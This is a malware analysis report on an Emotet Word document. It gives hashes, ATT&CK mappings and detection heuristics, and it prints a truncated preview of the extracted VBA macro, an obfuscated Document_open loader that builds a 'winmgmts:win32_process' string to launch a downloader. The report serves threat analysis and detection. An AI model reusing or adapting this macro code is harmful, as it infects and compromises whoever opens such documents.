Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 1abfb23d0ef450db…

MALICIOUS

Office (OLE)

224.7 KB Created: 2020-08-28 23:30:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 7dbd80f02192bef3020aac6cefc05d91 SHA-1: f6912177f0615a6b259252d2a44f0b00e70bdbd6 SHA-256: 1abfb23d0ef450db1e33f441e234e648df678ba7b2bf48ec1a2fe1ea9d657b16
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, specifically a Document_Open auto-execution macro, which is a common technique for Emotet. The macro uses CreateObject, indicating it's designed to execute code. ClamAV detection further supports the Emotet family attribution. The primary function of the macro appears to be downloading and executing a secondary payload.

Heuristics 6

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16112 bytes
SHA-256: d6a6cc4926447260e20be5c98cf6c33eed2faf08a67f312888123a777f910057
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "V1vnl3la5nhxv7"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
H3wkjv081x4co0vat.D1n98zrf0liyijz4
End Sub


Attribute VB_Name = "H3wkjv081x4co0vat"
Attribute VB_Base = "0{9A80046A-8253-4AFE-91AE-60956BE9A438}{0281F684-EFA7-4CFC-A729-814AAA6C40FC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function D1n98zrf0liyijz4()
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
X2o5e5a54lj4tow = 100
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
O3ht0tcmcq_fpyrh = ChrW(X2o5e5a54lj4tow + (yyyy + 5 + bbbbb + 10))
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
A1545jzumco = "2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sw2n3(((((h 2289(7 2379((0si2n3(((((h 2289(7 2379((0snm2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sgm2n3(((((h 2289(7 2379((0st2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s" + O3ht0tcmcq_fpyrh + "2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s:2n3(((((h 2289(7 2379((0sw2n3(((((h 2289(7 2379((0sin2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0s32n3(((((h 2289(7 2379((0s22n3(((((h 2289(7 2379((0s_2n3(((((h 2289(7 2379((0s" + H3wkjv081x4co0vat.U7wflnidgd6jtu14 + "2n3(((((h 2289(7 2379((0sro2n3(((((h 2289(7 2379((0s2n3(((((h 2289(7 2379((0sce2n3(((((h 2289(7 2379((0ss2n3(((((h 2289(7 2379((0ss2n3(((((h 2289(7 2379((0s"
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DVxKjS9un = iWqi0 * Rnd(113880445 - Rnd(8544 * Rnd(5) - rJMl5yNs8 - 669) + 7019 + 9) / 41 * qvRdA6
      Set LBeu9 = mHJKjDD
   Select Case ICJa94E
      Case 6031
         Qwu = Hex(QnQB02r)
         aHLM0 = CByte(439298967)
         ynOP163J = 161
      Case 8397
         rYuNT9 = Oct(gUplUur)
         gHE = 2
         FOTxHex = UozR54f
      Case 583
         yFPT = Atn(ICFwz1)
         DMdSLx87d = CLng(4)
         uLTi3mt90 = CStr(55 + 241906489 / 87 / Rnd(NkgvUQNV5))
   End Select
Ves77m25x3g6ux5qwe = Zlb0jg1k_ab_ij(A1545jzumco)
   On Error Resume Next
         xWlXASB3f = lTaE41F
      Set Jcvk872h = MMMUtGUd
         DV
... (truncated)

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